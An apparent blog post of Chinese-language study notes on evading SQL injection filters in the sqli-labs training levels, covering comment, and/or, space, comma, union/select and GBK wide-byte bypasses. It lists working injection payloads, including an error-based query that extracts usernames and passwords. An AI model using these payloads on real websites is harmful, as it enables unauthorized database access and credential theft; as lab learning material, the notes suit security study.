sql过滤绕过

1.注释符号绕过

常用注释符:#、  -- 、%23

 replace这个函数的意思是:如果用户提交的id(参数)中的数据存在reg这个字符,那么就会把这个reg替换掉成$replace,但是可以看到$replace为空,所以图片中代码的意思就是把id中的reg换成空白,也就是删掉

那么怎么绕过这种过滤呢?

字符型注入:(单引号闭合)

 可以看到后端代码中是这样子写的语句

如果输入 id=1' and 1=1 #

 这样子的话注释符号被过滤了的话,那么就会多个单引号,因为之前是用注释符号 把 (' LIMIT 0,1";) 这个语句给他注释掉

所以我们只需要在我们构造的语句后面再加上一个单引号或者利用 or '1'='1  再闭合一下即可

 也就是如果是把注释符号换成单引号就行了

数字型注入:

 如果是数字型的话,$id的2个单引号都没有了,也就是我们构造语句的时候,就不需要去闭合单引号和注释单引号了,直接用就行了

 

总结:

数字型: 不需要考虑闭合,直接用

字符型

原本语句

 

1.单引号闭合:只需要在后面加一个单引号即可

id=1'#  ->  id=1''  或者 id=1' or '1'='1

2.双引号闭合:只需要在后面加一个双引号即可

id=1"#  ->  id=1''" 或者 id=1" or '1'='1

3.单引号括号闭合【')】:需要在多加个 or('1')=('1

id=1')#  ->  id=1') or ('1')=('1  

4.双引号括号闭合【")】:需要在多加个 or("1")=("1

id=1")#  ->  id=1") or ("1")=("1

 

sql-lab 23关:https://www.cnblogs.com/xjrycd/articles/17713916.html

 

 2. and 和 or 绕过

要注意的是 and和or的过滤 是只要出现这2个英文都会被过滤,而不是单独出现 and  和 or  才过滤

比如 ordey by 会被过滤为 der by

information 会被过滤为 infmation

 通过后端代码可以看到, or 和and 都被 空白替换掉了

方法:

正常:?id=1' and 1=1 --+

绕过:

1、使用大小写:?id=1' anD 1=1 --+

2、复写过滤字符:?id=1' anandd 1=1 --+

3、用&&代替and,用||代替or:?id=1' && 1=1 --+

 

sql-lab 25关:https://www.cnblogs.com/xjrycd/articles/17714384.html

 

3.空格过滤

 

绕过办法

1.用加号

2.用url编码(根据环境不同,一个个试一下)

spaces               %20 

TAB 09 horizontal TAB        %09

LF OA newline             %0A

FF OC new page            %0C

CR 0D carriage return          %0D

VT 0B vertical TAB          %0B

-OA-(MySQL only)           %A0 

3.使用报错注入 (不需要用空格)多用括号

 

limit 替换函数:mid()和substr(),两者用法相同

?id=2'||extractvalue(1,concat('~',(select(mid(group_concat(username,'~',passwoorrd),1,10))from(users))))||'1'='1

mid(text, start_num, num_chars)

text:文本 如group_concat(username,'~',passwoorrd)

start_num:从第几个字符开始

num_chars:返回字符的个数

 

sql-lab第26关https://www.cnblogs.com/xjrycd/articles/17714715.html

 

4.逗号过滤

 

用join代替逗号

union select 1,2,3 --+

等价于

union selec * from (select 1) join (select 2) join (select 3)c --+ 

 

由于靶场25-a中没有逗号过滤

所以我在这里加了逗号过滤的功能

sql-lab 25a:https://www.cnblogs.com/xjrycd/articles/17715640.html

5. union和select 绕过

 

1.尝试大小写

2.尝试复写单词

3. all绕过:union all select    union和select 可能要大小写结合

4.拼接:uniunion selecton select   当union和select (红色部分)被过滤掉后, 原本剩下的uni on select 就组合成 union select 了

 

?id=0'%0AuniOn%0AseLect%0A1,database(),3%0Aor%0A'1'='1    (%0A为空格)

或者

?id=0'%0Aununionion%0AselEct%0A1,database(),3%0Aor%0A'1'='1

 

6.宽字节绕过

前提:当前的数据库编码格式为GBKB编码

 

addslashes()函数会在指定的预定义字符前添加反斜杠\,这些字符是单引号,双引号,反斜线(\),和NUL(NULL字符)

转义,例如在单引号'前添加反斜线“\”,则会转义没有功能性的的字符“'”

我们一般输入?id=1’,用单引号来闭合,如果存在addslashes()函数,则我们输入的语句会变成?id=1\’,从而闭合失败,无法查询到用户1

还有,如果我们输入的是?id=1\’,\会使得单引号'失去闭合功能,则数据库就会识别到“ 1' ”

 

所以就是因为有反斜杠的存在,才使得我们的注入失败

那么要进行绕过

就要

  1. 让 \ 失去作用
  2. 让 \ 消失

 

GBKB编码

上面说到单引号'会被转移为\,而\在url会被编码为%c

这时候如果我们在单引号'前面加上%df,那么%df和%c就会组成一个繁体字,从而使得反斜线失去它的功能。

下图为%df和%c结合 会转变为的繁体字的表

 有个要注意的地方就是单引号无法正常使用,那么如果我要查找表名'user',那无法直接这样子写,而是要把表名’user‘转化为16进制编码

sql-lab第32关: https://www.cnblogs.com/xjrycd/articles/17715128.html

posted @ 2023-09-19 20:05  Xuraniiiz  阅读(537)  评论(0)    收藏  举报